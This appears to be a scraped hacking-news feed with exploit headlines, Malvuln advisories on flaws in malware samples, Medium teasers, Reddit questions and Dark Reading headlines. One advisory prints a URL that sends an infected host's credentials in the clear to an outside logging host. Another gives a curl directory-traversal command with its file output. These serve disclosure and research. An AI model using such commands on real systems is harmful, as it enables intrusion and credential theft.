Exploit Collector
XNU inm_merge Heap Use-After-Free

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Dsklite.a Insecure Transit

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Backdoor.Win32.Dsklite.a malware suffers from an insecure transit vulnerability that discloses credentials.

MD5 | da03b3b7e338fdc7973f7420211d05e7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Dsklite.a
Vulnerability: Insecure Transit
Description: The malware listens on TCP ports 890, 891 and makes an outbound HTTP request passing the ip-address, username and credentials of the infected system in cleartext as part of the URL query string.
Type: PE32
MD5: 6c9665de78ae60a8e057d2c9cdb91596
Vuln ID: MVID-2022-0445
Dropped files: winlogon.exe
Disclosure: 01/05/2022

Exploit/PoC:
http://alch.port5.com/cgi-bin/log.cgi?action=log&ip=192.168.18.129&port=890&vicname=CockSucker&server=DSK%20v1&password=nhn221c5&usrname=gg

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.SubSeven.c Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.SVC Directory Traversal

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
Backdoor.Win32.SVC malware suffers from a directory traversal vulnerability.

MD5 | ff4cc8791c4406d63805977f8482da0e

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SVC
Vulnerability: Directory Traversal
Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the root dir.
Type: PE32
MD5: 011961a42700e7385a106d362eb661c7
Vuln ID: MVID-2022-0447
Disclosure: 01/05/2022

Exploit/PoC:
curl http://x.x.x.x:9997/../../../../../Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Crack the Hash | Writeup

https://cdn-images-1.medium.com/max/1640/1*ytD7j4O_J-Djx1j3aBk9xw.png
This room from TryHackMe contains some easy hash cracking challenges. In this write up, I have included all the solution and explanation…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
22 datos sobre ciberseguridad que debes conocer para 2022

https://cdn-images-1.medium.com/max/1524/0*Pe69JH7__xL9CMOg
PUBLICADO EN 6 ENERO, 2022POR EHACKING

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Phishing: Exploiting human vulnerability.

https://cdn-images-1.medium.com/max/600/0*CZHV3VUSjdFviIRG
If you want to explore phishing and want to know some basic defense techniques, then this article is for you and you wanna read it.

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to not fail the eJPT — The unofficial official guide to not failing the eJPT

https://cdn-images-1.medium.com/max/600/0*mZqcHsTIoUg-fQwr
A simple guide to getting the most out of the PTS and passing eLearnSecurity’s Junior Penetration Tester Certification exam the first time.

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
7 surprising sleep hacks that actually work

https://cdn-images-1.medium.com/max/2600/0*mibHfOgIwQnXB8ka
Sleep better now, thank me later. Enjoy ❤️

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Does anyone know where I can find a Windows XP ISO for Malware Analysis in VirtualBox?

I picked up Practical Malware Analysis from Humble Bundle. People tell me that it is still relevant, even though it is from 2013. The thing is, some of their labs are Windows XP specific. It's also been a while since I used Windows XP and I think it would be cool to use it again.

Do you know where I can find an ISO or VM file for VirtualBox? I can use VMware as well. I've found a few ISOs for Windows XP but they all are sketchy sources. Does anyone know of a legal way of sourcing Windows XP for malware analysis and pentesting?

submitted by /u/pizza-eating_newfie
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How private is this scenario?

I know it's not possible to be 100% anonymous online, but there are ways to help. What if one was to use a TOR browser, with a VPN, all inside a VM? If that's not a good idea, what could be done better?

submitted by /u/xMasterOfNone
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Google Docs Comments Weaponized in New Phishing Campaign

Attackers use the comment feature in Google Docs to email victims and lure them into clicking malicious links.

Dark Reading: Attacks/Breaches
Convergence Zone: CNAPP Aids in Integrated Cloud-Native Security

Cloud Native Application Protection Platforms (CNAPP) allow organizations to secure cloud-native applications across the full application life cycle.

___________________________
@hacking_Attack
@Hacking_Video